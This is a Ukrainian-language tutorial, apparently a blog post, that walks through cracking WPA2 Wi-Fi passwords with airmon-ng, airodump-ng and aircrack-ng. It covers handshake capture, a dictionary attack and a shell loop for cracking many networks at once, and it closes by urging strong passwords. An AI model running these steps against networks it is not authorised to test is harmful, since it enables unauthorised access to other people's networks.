Вступ §
Ось, що ми зробимо:
- переведемо мережеву карту в режим моніторингу з
airmon-ng
- Перехопимо пакети за допомогою
airodump-ng
- Крякнемо ключ до мережі
Як це відбувається? §
За допомогою попередніх спільних ключів клієнт і точка доступу встановлюють ключовий 🗝️ матеріал, який буде використовуватися для їх зв’язку на початку, коли клієнт вперше зв’язується з точкою доступу. Між клієнтом і точкою доступу відбувається чотиристороннє рукостискання 🤝. airodump-ng
може його зафіксувати. Використовуючи дані зі списку слів 📖(словника), aircrack-ng
дублює це рукостискання 🤝, щоб визначити, чи відповідає певний запис у списку слів результатам чотиристороннього рукостискання. Якщо так, це означає, що попередній спільний ключ 🗝️ успішно ідентифіковано.
Моніторинг §
Спершу дізнаймось назву нашого мережевого інтерфейсу (картки):
airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Centrino Advanced-N 6205 [Taylor Peak] (rev 34)
Або можна використати iwconfig
(ifconfig
), без різниці.
Переведемо його в режим моніторингу:
airmon-ng start <інтерфейс> # ну а щоб перестати, то stop (коли закінчимо)
airmon-ng start wlan0 # або одразу wlan0mon
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
1106 NetworkManager
1374 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Centrino Advanced-N 6205 [Taylor Peak] (rev 34)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
Як бачимо, варто вбити процеси NetworkManager
і wpa_supplicant
,
бо вони можуть заважати. Отже, нам вдалося виконати перший крок:
airmon-ng
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Centrino Advanced-N 6205 [Taylor Peak] (rev 34)
Перехоплення пакунків §
airodump‐ng
— інструмент захоплення пакетів для aircrack‐ng
(з man
-сторінки).
Запустимо його, вказавши наш інтерфейс та префікс (до якого додаватимуться різні суфікси) файлів, де він буде зберігати дані
airodump-ng wlan0mon -w lmao
airodump
відображає трафік у реальному часі та
зберігає його у файли з префіксом, який ми дали.
CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80 # показує, що захопила рукостискання
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy
BSSID STATION PWR Lost Packets Probes
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
Коли ми дістали рукостискання для потрібного BSSID, можемо
вимикати airodump-ng
та повертатися з моніторингового режиму.
airmon-ng stop wlan0mon
Злам пароля §
Ось, що зберегла airodump-ng
(файли lmao-01*
— логи першого запуску, 02
— другого й так далі):
lmao-01.cap lmao-02.cap lmao-03.cap
lmao-01.csv lmao-02.csv lmao-03.csv
lmao-01.kismet.csv lmao-02.kismet.csv lmao-03.kismet.csv
lmao-01.kismet.netxml lmao-02.kismet.netxml lmao-03.kismet.netxml
lmao-01.log.csv lmao-02.log.csv lmao-03.log.csv
Зламувати паролі можна так:
aircrack-ng <файл-який-зробив-airodump>.cap -w <файл-із-паролями>
у моєму випадку
aircrack-ng lmao-01.cap -w wordlist
Програма запуститься, спитає у вас, до якої мережі підбирати пароль, і почне саме зламування.
# BSSID ESSID Encryption
30 45:3A:47:61:B7:09 bur Unknown
# припустімо, це потрібна мережа, тоді вводимо 30
Якщо вивід виглядає так:
# ...
Read 45934 packets.
1 potential targets
Packets contained no EAPOL data; unable to process this AP.
Quitting aircrack-ng...
то це значить, що ми не захопили жодного рукостискання, тож
не маємо змоги підібрати пароль до цієї штуки (потрібно ще бавитись
airodump-ng
або виконати якесь з’єднання примусово, про що почитаєте в документації).
В іншому випадку буде відбуватися підбір, і якщо знайдеться підходящий пароль,
то ми отримаємо:
Aircrack-ng 1.7
[00:00:00] 1/1 keys tested (22.38 k/s) # 1 ключ, бо це тест, і я знаю пароль. Звісно, так не буде майже ніколи
Time left: --
KEY FOUND! [ 42134111 ] # єєєєєєєєєєє
# ...
Легко? От і ставте нормальний пароль, а не 4411admin. А ще уявіть таке: ваш пароль зламали, а адмінські інструменти роутера без пароля або теж 4411admin 💀💀💀.
Ламаємо багато мереж одразу §
Додамо два параметри (-b <++>
і -l <++>
) до нашої команди:
aircrack-ng -b <bssid> <файл-який-зробив-airodump>.cap -w <список-паролів> -l <файл-куди-записати-ключ>
Раніше запускаючи Aircrack, ми отримували такий вивід:
# BSSID ESSID Encryption
30 45:3A:47:61:B7:09 bur Unknown
У vim
‘і можете запустити таку команду на кожній потрібній стрічці (наприклад, попередньо виділивши їх),
і отримаєте тільки BSSID у стовпчик, зручно!
norm 0d2wElD
Або використайте власні засоби, щоб це зробити. Приблизно так виглядатиме скрипт для масового зламу паролів:
#!/bin/sh
wordlist="../word"
cap="lmao-03.cap"
for i in \
# 35:2A:44:61:B7:09 \
# ... \
# 45:3A:47:61:B7:09 коротше адреси тут пишете
do
aircrack-ng -b $i "$cap" -w "$wordlist" -l "$i.key"
done
Висновки та посилання §
Тепер усім ясно, чому потрібно встановити добрий пароль для своєї безпровідної мережі. Можна згенерувати його за допомогою менеджера паролів і, можливо, про всяк випадок, переписати. Має бути не менше 20 випадкових символів або потужна фраза з вигаданих слів та ще більшою кількістю символів.